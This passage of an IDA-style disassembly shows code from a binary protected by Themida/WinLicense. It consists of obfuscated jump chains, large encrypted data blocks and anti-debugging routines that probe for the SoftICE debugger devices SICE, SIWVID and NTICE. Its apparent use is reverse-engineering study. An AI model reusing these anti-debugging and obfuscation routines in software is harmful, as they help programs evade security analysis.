--------------------------------------------------------------------------- loc_5729FE: ; CODE XREF: Themida_:00569E0Bj pop edx add ebp, ebx pop ebx push ebx mov ebx, 0F1521BCh jmp loc_572194 ; --------------------------------------------------------------------------- loc_572A0D: ; CODE XREF: Themida_:0056A259j push esp pop ebx jmp loc_569038 ; --------------------------------------------------------------------------- loc_572A14: ; CODE XREF: Themida_:00572864j xor eax, 25893294h dec eax neg eax shl eax, 7 jmp loc_561FFE ; --------------------------------------------------------------------------- loc_572A24: ; CODE XREF: Themida_:0056CF8Bj add ebp, eax push dword ptr [esp] pop eax push esi mov esi, esp jmp loc_56D3F1 ; --------------------------------------------------------------------------- loc_572A32: ; CODE XREF: Themida_:00567566j mov edx, [esp] add esp, 4 sub dword ptr [esp+4], 1B23C70h jmp loc_561036 ; --------------------------------------------------------------------------- loc_572A45: ; CODE XREF: Themida_:0056EBA4j add esp, 4 jmp loc_55F66B ; --------------------------------------------------------------------------- loc_572A50: ; CODE XREF: Themida_:00562FCFj pop ebx sub ecx, esi jmp loc_5651E3 ; --------------------------------------------------------------------------- loc_572A58: ; CODE XREF: Themida_:0056DB48j push 0FEh mov ebp, [esp] add esp, 4 and [edi+1Ch], ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push 1813h push esp pop dword ptr [esp] push ecx jmp loc_570524 ; --------------------------------------------------------------------------- loc_572A99: ; CODE XREF: Themida_:00560FB6j sub ebx, 0B31A5E2Bh sub edi, 41472010h jmp loc_55F8D5 ; --------------------------------------------------------------------------- loc_572AAA: ; CODE XREF: Themida_:00566D2Aj add edx, 37E836F3h push dword ptr [esp] pop ecx add esp, 4 add edx, 2 jmp loc_55DB45 ; --------------------------------------------------------------------------- loc_572AC2: ; CODE XREF: Themida_:0056BA9Ej mov edx, 0FE64CBDh not edx shr edx, 2 dec edx add edx, 0C95A0D71h add ebx, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_572758 ; --------------------------------------------------------------------------- loc_572AE1: ; CODE XREF: Themida_:0056C580j and al, 0F3h xor al, 0BBh mov bl, al mov eax, [esp] jmp loc_56B135 ; --------------------------------------------------------------------------- loc_572AEF: ; CODE XREF: Themida_:00571108j push ebp jmp loc_570E0A ; --------------------------------------------------------------------------- loc_572AF5: ; CODE XREF: Themida_:0056C80Aj push edx mov edx, esp jmp loc_567B27 ; --------------------------------------------------------------------------- loc_572AFD: ; CODE XREF: Themida_:00572241j pop eax add eax, 4 jmp loc_56549F ; --------------------------------------------------------------------------- loc_572B08: ; CODE XREF: Themida_:00560FA2j pop esp sub ebx, eax push edx mov edx, 3DD55131h sub ebx, edx jmp loc_5702A3 ; --------------------------------------------------------------------------- loc_572B18: ; CODE XREF: Themida_:00562AAFj pop edx push cx mov ch, 0D0h sub al, ch pop cx add bl, al pop eax push eax mov ah, 0C5h and ah, 0ADh jmp loc_56CE15 ; --------------------------------------------------------------------------- loc_572B2F: ; CODE XREF: Themida_:005702CDj add esp, 4 push ax push ebx mov bl, 32h push edx jmp loc_560137 ; --------------------------------------------------------------------------- loc_572B3D: ; CODE XREF: Themida_:00562DC5j push eax mov eax, esp jmp loc_56118B ; --------------------------------------------------------------------------- loc_572B45: ; CODE XREF: Themida_:0055FE92j or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 jmp loc_562DE0 ; --------------------------------------------------------------------------- loc_572B54: ; CODE XREF: Themida_:0055071Aj jmp loc_572BAF ; --------------------------------------------------------------------------- db 0D9h, 0B4h, 0FDh dd 45535507h, 2E323352h, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch, 3000907h dd 2000C00h, 20000300h, 35A00h, 7 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_572BAF: ; CODE XREF: Themida_:loc_572B54j jmp loc_5734A4 ; --------------------------------------------------------------------------- push 616A0B1h jmp loc_5509FF ; --------------------------------------------------------------------------- push 616A134h jmp loc_5509FF ; --------------------------------------------------------------------------- push 616A26Fh jmp loc_5509FF ; --------------------------------------------------------------------------- push 616A3B6h jmp loc_5509FF ; --------------------------------------------------------------------------- push 616A424h jmp loc_5509FF ; --------------------------------------------------------------------------- push 616A53Ch jmp loc_5509FF ; --------------------------------------------------------------------------- push 616A5B9h jmp loc_5509FF ; --------------------------------------------------------------------------- dw 0AF2Dh dd 0F2E1BE10h, 369C79CBh, 7F563385h, 0CC0BE83Ah, 52669FF1h dd 0F244795Eh, 0ABFDBC15h, 63B50ACEh, 196B5086h, 997F850Dh dd 0AD580887h, 0E2552CB2h, 0AE0DC9EBh, 9553AA02h, 0FDE41392h dd 63D170D1h, 226D73BBh, 0F057E502h, 441127C8h, 257D2992h dd 1FD7B2F6h, 0D13F91BFh, 0B8DFE52Dh, 4E37D350h, 0BD556471h dd 32970511h, 0CDD31BA0h, 37F430E7h, 0F33BD3FBh, 0E76BF8EDh dd 844D2A3Dh, 99318935h, 69528451h, 1F9C3A17h, 0A50EA441h dd 23311B58h, 765h, 54A619C3h, 0F615C77h, 0C91BA032h, 7ED0E9ECh dd 358736A1h, 0E3F4BCFCh, 26AB88DAh, 74644193h, 0BA1CF94Bh dd 1BA3AF01h, 8882F15h, 0E1484358h, 4BF7C412h, 0E52DD13Fh dd 0E831171Dh, 1D4551F1h, 82E2E8EEh, 8A57E686h, 993D48A3h dd 0C8604040h, 9A25B380h, 6E4D8552h, 86522F3Fh, 0CF5F127Ah dd 0C1595CCBh, 3DCE0815h, 8A45137h, 0E63D6558h, 0DD128131h dd 5735CD6Ch, 3EA58798h, 0E243513Bh, 46000006h, 0FAD72996h dd 0B592E4D9h, 6F4C9E1Dh, 24015366h, 7FB80AB3h, 5D607739h dd 16A32E0Bh, 0CEF1E7C4h, 84379F7Ch, 989E2632h, 580888B2h dd 1264CBC6h, 3E4BF7C4h, 13DB2398h, 0E85F454Bh, 4B7351F1h dd 0F1E7DFC5h, 0C216F351h, 0CC3665FDh, 0F8A417BFh, 25D1ECEBh dd 6C4D0DF1h, 0AF420014h, 1AC6F3E2h, 3E2793C2h, 0C0FEEDEEh dd 53h, 0F7C412D7h, 4017ECA5h, 45E03907h, 1F86DDA9h, 0C397F4C8h dd 0C2A4E817h, 4C51F209h, 39FFB875h, 2E5DDAC3h, 0B608B323h dd 0C20F6CDAh, 5BF34BF7h, 7E3B0D13h, 0FF2757E5h, 0D1EEEAB7h dd 70D0A77Fh, 1F9A3B1Eh, 84EA2CC8h, 318E4A55h, 6237785h dd 12CE0000h, 434BF7C4h, 0B4605D76h, 0B5232D5Ch, 0A8BBC109h dd 9457E510h, 0FFAB0EC7h, 0CCF478A7h, 2C10AD84h, 9F48D4D1h dd 81D98538h, 0CDAABAE9h, 9D6AB209h, 0D2DA8635h, 5FFE6CCh dd 3AD2FA58h, 0B11FFB0Bh, 7445905Dh, 4EA70C8h, 18580600h dd 8B2EA3F0h, 2AA5ABF3h, 585DFAA0h, 0BD1BE830h, 5D3B002h dd 2F060EBAh, 0C26762FEh, 283362CBh, 0CA2F0DAEh, 1D3890FCh dd 5A72533h, 5B810000h, 9E351264h, 0E2F0CD1Fh, 2BAA87D9h dd 785F3C8Eh, 0FEBAF345h, 469825B2h, 0FF516869h, 0B709B622h dd 6DBFFCDAh, 0EDD3D961h, 1580889h, 0C4129F06h, 983E4BF7h dd 6B6A7723h, 949AA24Eh, 51F1E7AEh, 864D9AC2h, 587E8B37h dd 0AD5FB763h, 50A80949h, 0AEAD1E3Ch, 1251F1E9h, 0EDF00264h dd 0FED4FEFEh, 1715FFFFh, 832F8C4Ah, 0E78F757Bh, 7BA351F1h dd 2DA9B4E3h, 15C1F8D9h, 6D7925BDh, 3F074FFFh, 0F1E85339h dd 4D8A6751h, 0A3A9D870h, 0E53B3A9Dh, 666B4857h, 0B74FA753h dd 731B8965h, 4F66252Bh, 0C39A5DF9h, 0CEB9C928h, 0B73B6AF1h dd 0BA9DE38Fh, 0C75E19F6h, 77EEE5A5h, 0E7F2C5DEh, 0A8A2710h dd 6F9AF1CEh, 0F65C8BB5h, 181h, 6B521EEh, 0ECD3025Ah, 63D170D1h dd 573D430Bh, 6B51F1E8h, 0E7D7BD43h, 746451F1h, 0C55D854Bh dd 2294A67Dh, 0B5615C77h, 0C599065Dh, 0FE040A39h, 57E523B3h dd 0BDA3A981h, 0D1580623h, 144337EAh, 6B034CE3h, 3DE32D3h dd 6B91BFB0h, 30951FDh, 37D3E0DCh, 929E4A72h, 2E347C24h dd 3DE7FC39h, 2EFB436Bh, 457A5EA8h, 587E5BADh, 7E7E8563h dd 937D58A4h, 46085h, 0AB14C800h, 66577C59h, 209B3714h dd 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh, 69469821h dd 21FE506Fh, 0A8B406B5h, 8B341A20h, 4D485808h, 8C4A17E6h dd 88F6002Fh, 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E2D7FECBh dd 87E76FB3h, 72F57E6h, 0D9E6F2BFh, 912EAA87h, 0FEFED8E5h dd 95B73F2Ah, 95730B49h, 3EA56B78h, 0F29FAD97h, 36000003h dd 0EAC719A6h, 0A582D4E9h, 5F3C8E2Dh, 14F14376h, 6FA8FAC3h dd 4D706749h, 6B31EFBh, 0BE01D7B4h, 74478F6Ch, 888E1622h dd 58088BA2h, 1254BBB6h, 0E2AFF7C4h, 2E98C7F4h, 5A06B521h dd 88348B4Dh, 24AD5D7Bh, 0DB51FD95h, 7ED6DB77h, 2E8EEB6h dd 8551F1E8h, 0FD25F1CCh, 254D13E2h, 15E6A4F6h, 51F2AB16h dd 2E9ACC7Ah, 1366FEEDh, 7DFFFFFDh, 32874A17h, 0DDDEF803h dd 52B72531h, 79903C81h, 890999E8h, 0F78F27B2h, 0B81AE7AFh dd 0D0FF5703h, 0E56A9D8Ch, 398BB357h, 0CC79D180h, 9D6AB25Eh dd 7ED68239h, 0B481494Fh, 0D1E8E91Fh, 8935CD25h, 0B6625B7Ch dd 5397C65Eh, 57E50208h, 0B90DAED6h, 0FFFA95ADh, 1D650977h dd 10A6F017h, 363C0406h, 6318750h, 6D508764h, 0FA22A6D5h dd 0FEE4EAB2h, 12063186h, 4551BBEAh, 0D9DF27D7h, 0C24C1E4h dd 0D9A6EE16h, 9F76BEFDh, 3B581689h, 1F050B1Ch, 330C45C3h dd 3444730Bh, 5E3C7F57h, 8A67B7B9h, 0DA72806Ah, 4E000002h dd 2DF318Eh, 0BD9AECD1h, 7754A615h, 2C095B5Eh, 87C012ABh dd 65587F31h, 1E9B3613h, 0D6E9EFCCh, 8C2FA784h, 0A0A62E3Ah dd 58088CBAh, 136CD3CEh, 0ABB1F9A5h, 57E68829h, 3D054D75h dd 8875137h, 0E3D6558h, 639D3B08h, 0B6C138E0h, 765C6234h dd 8A5808BCh, 0EA32CA62h, 64488513h, 7C823592h, 5808BB96h dd 0BBEA82AAh, 0B50ACEABh, 0E1DAFC09h, 0A4BF1E03h, 212F193Eh dd 25Dh, 5CAE11CBh, 1769547Fh, 0D123983Ah, 86D8E1F4h, 3D8F2EA9h dd 0DBFCB404h, 1EB390E2h, 6C6C499Bh, 0B2240153h, 23ABB709h dd 88D371Dh, 0E9504B58h, 0B1F9A513h, 0E68829ABh, 54D7557h dd 0CB1D9E38h, 97301CF3h, 8AE1DCFBh, 0C210C6E5h, 283261F9h dd 0FECB13BBh, 0AEB4E3D8h, 88CB8A8h, 0CB8E058h, 9DE5D8FFh dd 8CE9CFD5h, 0D5FD5808h, 41704988h, 0A23590D7h, 80EDC91Bh dd 0C5B38AD2h, 9381A4EDh, 0E6ECF221h, 580856E8h, 3B48F41Ch dd 6C74209Bh, 56B89EA4h, 0A4CC5808h, 1D53075h, 571E040Ah dd 0A325808h, 93432072h, 812E7C28h, 0A958FADEh, 15C1FADCh dd 53838EBDh, 89492068h, 0D50368A5h, 876474A3h, 57246C4Fh dd 39913D80h, 4493A00Ah, 0F75BCD79h, 8635A15Bh, 3D805734h dd 335D1EF5h, 0FEA0E2A6h, 6A1765CFh, 8DA7E3C7h, 5E2B734Ah dd 8184774h, 4B6E6330h, 0D18479Fh, 3A47F3CAh, 0A1676C9Eh dd 42EE8635h, 420A52EAh, 828563Ch, 0C9F4E358h, 18FFC51Dh dd 483030F7h, 1140D842h, 82379AA7h, 0F208C9D6h, 2F5F1682h dd 711DB537h, 961B375Bh, 0E235F01h, 9A5A4046h, 466E5808h dd 0F2CB0C17h, 18F1C8A0h, 0F296C92Bh, 0FEE4EA32h, 125808B5h dd 26B0BBEAh, 6BA3E995h, 44EE191Ch, 8A4CE0A2h, 0E31D0672h dd 0C4114D73h, 0A7FFAB14h, 0F6E0BD0Fh, 0CB0C19C5h, 6CD046F2h dd 0FBC0162Eh, 0B740DCB3h, 0A4CB0421h, 4E886575h, 493098AEh dd 0B70463A4h, 99F19D20h, 0DB495501h, 96E5EB33h, 6C166F6Dh dd 0A816F244h, 3EAAB0F8h, 4E1C84ECh, 0AA727A26h, 0A6ECBEA4h dd 7BAAD21Ch, 0D556670h, 0ED593F45h, 456D1CA6h, 572E0616h dd 0C21AAF5Bh, 0EAD29EDh, 25720A62h, 75F0BB2h, 0B209CDD8h dd 3036FE06h, 1CA72C4Ah, 0C307365Eh, 1E4F47DEh, 46FE9C00h dd 1D92B90h, 6E1AA334h, 0B00FC916h, 727DAC04h, 9EAB5764h dd 0C9D68237h, 0F906B209h, 0FD31DDDCh, 0E3787919h, 0EBEB0141h dd 6C525820h, 801E9248h, 47ECD258h, 0D8001E92h, 0A62BF840h dd 0E00F6713h, 28E3F3D0h, 0BB417C5Bh, 1E9247D5h, 7D29C1E9h dd 146Fh, 4017C600h, 0A6BCA12Bh, 6A50561Ch, 7E51F2E4h dd 568FBE56h, 0F5CA12EFh, 219A3C49h dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch dd 33884A57h, 64597A87h, 746833B8h, 89000031h, 8952240Ch dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch, 47CB68h dd 24148900h, 51256851h, 81591EFBh, 9A5922F1h, 0AAE9816Bh dd 49497213h, 824CE981h, 0CE89B661h, 76C68159h, 815BCF0Dh dd 0BA2095C6h, 4EC8134h, 89000000h, 4812424h, 424h, 8F565A00h dd 34FF0842h, 0C4835A24h, 24348B04h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 0E95C2434h, 0FFFDD55Fh, 6437EF17h ; --------------------------------------------------------------------------- loc_5734A4: ; CODE XREF: Themida_:loc_572BAFj mov eax, 616A83Bh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0D8h, 0DBh, 0A2h dd 704C504h, 890E664Bh, 10E85Ch, 13BA0000h, 7FE1B68Fh dd 0C25946AAh, 3DD62F36h, 0BB668FBFh, 805A8A40h, 0C281EDF3h dd 6AA2h, 0CE8h, 622F0200h, 87048AA1h, 4E89C962h, 2800F23h dd 50000000h, 0F2BF585Bh, 811C7451h, 743776EFh, 6CF801Ch dd 0F600A8Bh, 1689h, 11E900h, 3B980000h, 53A66BA5h, 9A70F510h dd 0D988E77h, 610A808Fh, 0D1B1E981h, 0F08B57A4h, 3599C181h dd 0BE93C87h, 44000000h, 341E4F7Ah, 8DFCC24h, 0E9810E0Ch dd 67F488ECh, 7441B866h, 0BE90A89h, 38000000h, 0D33A316Fh dd 6357E075h, 0EA835B15h, 3BE6604h, 1EF833Ah, 0FF96850Fh dd 0F681FFFFh ; --------------------------------------------------------------------------- loc_573570: ; DATA XREF: Themida_:005495CCo aam 5Bh lodsd pop eax jmp loc_573606 ; --------------------------------------------------------------------------- pusha cmp dword ptr [ebp+6140359h], 0 jz loc_57358C jmp loc_573604 ; --------------------------------------------------------------------------- loc_57358C: ; CODE XREF: Themida_:00573581j push 0 cmp byte ptr [esi], 30h jnz loc_57359F push 0 inc esi jmp loc_5735D4 ; --------------------------------------------------------------------------- loc_57359F: ; CODE XREF: Themida_:00573591j cmp byte ptr [esi], 33h jnz loc_5735B0 push 10h inc esi jmp loc_5735D4 ; --------------------------------------------------------------------------- loc_5735B0: ; CODE XREF: Themida_:005735A2j cmp byte ptr [esi], 34h jnz loc_5735C1 push 30h inc esi jmp loc_5735D4 ; --------------------------------------------------------------------------- loc_5735C1: ; CODE XREF: Themida_:005735B3j cmp byte ptr [esi], 35h jnz loc_5735D2 push 40h inc esi jmp loc_5735D4 ; --------------------------------------------------------------------------- loc_5735D2: ; CODE XREF: Themida_:005735C4j push 0 loc_5735D4: ; CODE XREF: Themida_:0057359Aj ; Themida_:005735ABj ... cmp byte ptr [esi], 20h jnz loc_5735EF cmp byte ptr [esi+1], 0 jnz loc_5735EF add esp, 8 jmp loc_573604 ; --------------------------------------------------------------------------- loc_5735EF: ; CODE XREF: Themida_:005735D7j ; Themida_:005735E1j lea eax, [ebp+6140795h] push eax mov [esp], eax xchg eax, esi push eax xchg eax, esi push 0 call dword ptr [ebp+61402C1h] loc_573604: ; CODE XREF: Themida_:00573587j ; Themida_:005735EAj popa retn ; --------------------------------------------------------------------------- loc_573606: ; CODE XREF: Themida_:00573574j mov byte ptr [ebp+6141A59h], 4Dh call near ptr loc_573614+2 test al, 76h loc_573614: ; CODE XREF: Themida_:0057360Dp xor eax, 448B50A4h and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+6140931h] lea eax, [ebp+6143B13h] call eax mov [ebp+61402C1h], eax jmp short loc_573656 ; --------------------------------------------------------------------------- dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h dword_57364C dd 5C2E5C5Ch, 4349544Eh ; DATA XREF: Themida_:005491F8o db 45h, 0 ; --------------------------------------------------------------------------- loc_573656: ; CODE XREF: Themida_:00573636j mov eax, eax push esi mov cx, di pop esi cmp dword ptr [ebp+61430B1h], 0 jnz short loc_57366F cmp dword ptr [ebp+6141AE1h], 0 jz short loc_573688 loc_57366F: ; CODE XREF: Themida_:00573664j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+6141A49h], eax lea ebx, [ebp+616B73Ah] call ebx pop ebx pop eax loc_573688: ; CODE XREF: Themida_:0057366Dj cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5736A8 push eax push ebx mov eax, 40Fh mov [ebp+6141A49h], eax lea ebx, [ebp+616B429h] call ebx pop ebx pop eax loc_5736A8: ; CODE XREF: Themida_:0057368Fj push 0 push esi call sub_5736B3 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5736B3 proc near ; CODE XREF: Themida_:005736ABp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5736B3 endp ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- mov [ebp+61409EDh], edx push 0 push edx call sub_5736D5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5736D5 proc near ; CODE XREF: Themida_:005736CDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5736D5 endp ; --------------------------------------------------------------------------- db 0E8h, 0D9h, 3Eh ; --------------------------------------------------------------------------- or ebx, ebp clc cmpsd adc edi, 1D095CBEh mov eax, eax mov [ebp+6142589h], ebx mov byte ptr [ebp+6141A59h], 43h push 0 push ebp call sub_57370C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57370C proc near ; CODE XREF: Themida_:00573704p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_57370C endp ; --------------------------------------------------------------------------- dd 3B0B0BBBh, 219C496Eh, 14E9h, 89833F00h, 8B6269B0h, 0FADC1301h dd 35B0E566h, 0CA5FDCE6h, 2D016869h, 8B6647D1h, 240481CBh dd 74BD41FBh, 0FFFE8B66h, 141145B5h, 0ECCA8106h, 8D5985DAh dd 143B1385h, 10E906h, 489F0000h, 0D6305267h, 0B1E86448h dd 4DD3F28Eh, 8D8B6641h, 6143085h, 6AD0FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 1D4C94C3h dd 0FE9E1h, 56DE0000h, 543FBA4Fh, 33CB7D5Bh, 7FBFED3Ah dd 606090F8h, 12E9h, 927F5900h, 0BF9F881Fh, 9F806A31h dd 0F6C07A27h, 8B0DD58Bh, 8B6661CEh, 515061C6h, 4AAE26BFh dd 6A905900h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 839FC352h, 9DBD8B29h, 6A06142Fh dd 38A0F00h, 0F000000h, 0CB68FABFh, 50E307DBh, 4FBE6652h dd 60310F5Ah, 310F5250h, 5853585Ah, 81585A61h, 24B52404h dd 81661CF8h, 6A6803E6h, 45BD0B03h, 6A061431h, 36AF900h dd 9E9h, 5A891D00h, 230E2E4Eh, 4E883A5h, 0 dd 0B1C00000h, 5060508Fh, 0B2310F52h, 50585AE5h, 13E852h dd 3130000h, 14F8A24Ch, 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h dd 310F5B65h, 585AE6B5h, 24448B61h, 0FB8B6604h, 77BF008Bh dd 89383CE3h, 60042444h, 61DE8B66h, 89958958h, 8D06142Fh dd 16AA599Dh, 68B0F06h, 89000000h, 140BFDBDh, 0DE99306h dd 0D0000000h, 5A4F764Ah, 25925D14h, 2FBD3C6Ah, 2FBA9350h dd 0FF4D84A7h, 0EE9D0h, 67060000h, 0A26EEF0h, 0C0446454h dd 621A92D0h, 8F850F40h, 66000002h, 0DE42E681h, 0B5958B58h dd 50061416h, 12E8h, 0A22D2900h, 731DD64Fh, 0CF1DFA3Dh dd 6FDBBF29h, 66585FBAh, 5FB7B1BAh, 81240489h, 5E835DEEh dd 0FC006A5Ch, 0DDE2C968h, 8E835h, 61770000h, 0F903AE1Ch dd 815E11DBh, 0E2492434h, 10E935DDh, 97000000h, 43A4C8BDh dd 2CCA8884h, 3E922C07h, 6A6EE40Ch, 6A006A03h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 7032C357h, 0F08B036Ah, 0D9BDA368h, 665360A0h, 615FF98Bh dd 5D240481h, 0BA1F2642h, 12F741E7h, 0AA629D8Dh, 9EB20616h dd 19870F93h, 0E8000000h, 0Fh, 796646C1h, 9D822777h, 0D6715B58h dd 667012DFh, 5FEB1ABEh, 0D95EBE50h, 23932D8Fh, 140839BDh dd 40D0FF06h, 1B0850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 23DE81C3h, 622899B5h dd 0A1BEAED4h, 587F39D4h, 2E5958Bh, 60500614h, 50F28B66h dd 0EC2DB852h, 310F785Eh, 5AF28B66h, 4896158h, 11E924h dd 512C0000h, 0E181674Dh, 7D888DD0h, 0DE02646Ah, 6A84EEFEh dd 12E900h, 0F8F70000h, 0B34FC513h, 0D4F9F24Ch, 93A8CE3Fh dd 0A2D3F9CBh, 0E2B52D68h, 0AE86022h, 14000000h, 0EA8E3936h dd 0FEAB0E26h, 0CFB3BF11h, 0F5A0186h, 389h, 0CA8B6600h dd 24348161h, 22E2B5ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 26C35343h, 0B9A0C34h, 8E35E808h, 91F18166h dd 9036A1Ah, 1425CDBDh, 6A006A06h, 2D958B03h, 8B061408h dd 1404858Dh, 0AEAB6806h, 5250ACEDh, 0F62143BAh, 0F310F63h dd 48Fh, 99BE6600h, 81585AF8h, 0AEAB2434h, 6A6CEDh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0AFE59FC3h, 0BF0FEB8Ah, 6D9D8DCBh, 890616AAh, 140679B5h dd 0F539306h, 198Bh, 14E900h, 20B80000h, 0DD983E86h, 6261455Fh dd 52A83713h, 46E1DF7Bh, 505A7486h, 0B6C68B60h, 0FF9361E9h dd 0BA6653D0h, 405E7341h, 44850Fh, 10E90000h, 0F8000000h dd 0B372F737h, 54E26B01h, 0CADD65DCh, 8BC5F36Fh, 140385BDh dd 8D295806h, 6141BC5h, 145E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0D88BB1D5h dd 31E1B50Bh, 4BF80614h, 11E9h, 6AB61600h, 804340EFh, 2C0EA1BEh dd 0F951C0CBh, 0F58B129h, 85C6CFB7h, 6141A59h, 53006A43h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 958BFD81h, 6142FB9h, 0D210E3BEh, 898D2B4Bh, 6806142Eh dd 0BFDA3AFEh, 3860Fh, 8B660000h, 243481F3h, 7FAC7059h dd 6E8F5h, 2C270000h, 4B59F1B2h, 5E85DF81h, 0FF5E3D39h dd 141145B5h, 0D6EA8106h, 97E97CCh, 14306DB5h, 13858D06h dd 6A06143Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0C2EDC351h, 56F36A82h, 0A2491C4Ah dd 19BD8589h, 0D0FF0614h, 8B50EE8Ah, 241C89F9h, 35958B60h dd 66061422h, 617B5CB9h, 0BD8BD0FFh, 614211Dh, 70F09D8Dh dd 85890614h, 6142249h, 12E9h, 0C225BA00h, 0DC4FA80Ah dd 7D3D5CD6h, 0FC786CCDh, 0B84D88FDh, 1, 6C56EE81h, 0E3FF0F62h dd 0CE853h, 70550000h, 39F28C3Ah, 3AA8EF82h, 59514F94h dd 0C18B5F59h, 0AD8D8960h, 60061402h, 8C0Fh, 9D890000h dd 6140619h, 0C08B6161h, 8830Fh, 89510000h, 1412BD8Dh dd 0BD835A06h, 61430B1h, 83097500h, 141AE1BDh, 19740006h dd 0C08B5350h, 40FB8h, 0C1858900h, 8D061430h, 16B7A19Dh dd 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h, 40FB8h, 0C1858900h dd 8D061430h, 16B4429Dh, 5BD3FF06h, 0FDBD2958h, 8B061419h dd 8E8C0h, 42380000h, 0F51FB5D1h, 8C0F9C65h, 6, 2E8D9D8Bh dd 0E9580614h, 5, 0E68748BFh, 37C0811Eh, 8B00006Eh, 1B6F68D9h dd 8B660000h, 8B665FDFh, 81108BCFh, 0F768B4F2h, 0DF8B6605h dd 8550EA81h, 7B15FCCh, 1E37C281h, 0B58B4896h, 61416A5h dd 0B5891089h, 6140541h, 0F03E883h, 680h, 0EDB50900h, 48061423h dd 3C59D8Bh, 0EF830614h, 0BA850F01h, 3FFFFFFh, 1425959Dh dd 0AAE906h, 6F530000h, 61777466h, 575C6572h, 694C6E69h dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h dd 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 5D858900h, 8D0616B2h dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h dd 0B5FF196Ah, 616B25Dh, 6A016Ah, 0B1F2858Dh, 0FF500616h dd 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h dd 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch, 0B25D8589h dd 858D0616h, 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h dd 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah, 0B21C858Dh dd 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h dd 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch dd 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h, 500616B1h dd 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah dd 0B204858Dh, 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah dd 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h dd 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h dd 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h dd 6A046Ah, 0B22F858Dh, 0FF500616h, 16B259B5h, 8D95FF06h dd 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h dd 0F595FF06h, 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h dd 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h dd 500616B2h, 6A046Ah, 0B1DF858Dh, 0FF500616h, 16B259B5h dd 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h dd 16B259B5h, 0F595FF06h, 0C306141Ch, 34F1BD83h, 0F000614h dd 0B84h, 0F19D8B00h, 83061434h, 3894CC3h, 0F1BD83C3h dd 61434h, 0B840Fh, 9D8B0000h, 61434F1h, 8950C383h, 0BD83C303h dd 61434F1h, 0B840F00h, 8B000000h, 1434F19Dh, 54C38306h dd 83C30389h, 1434F1BDh, 840F0006h, 0Bh, 34F19D8Bh, 0C3830614h dd 0C3038958h, 34F1BD83h, 0F000614h, 0B84h, 0F19D8B00h dd 83061434h, 3895CC3h, 8960C3C3h, 16B25D85h, 59858D06h dd 500616B2h, 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh dd 46A0616h, 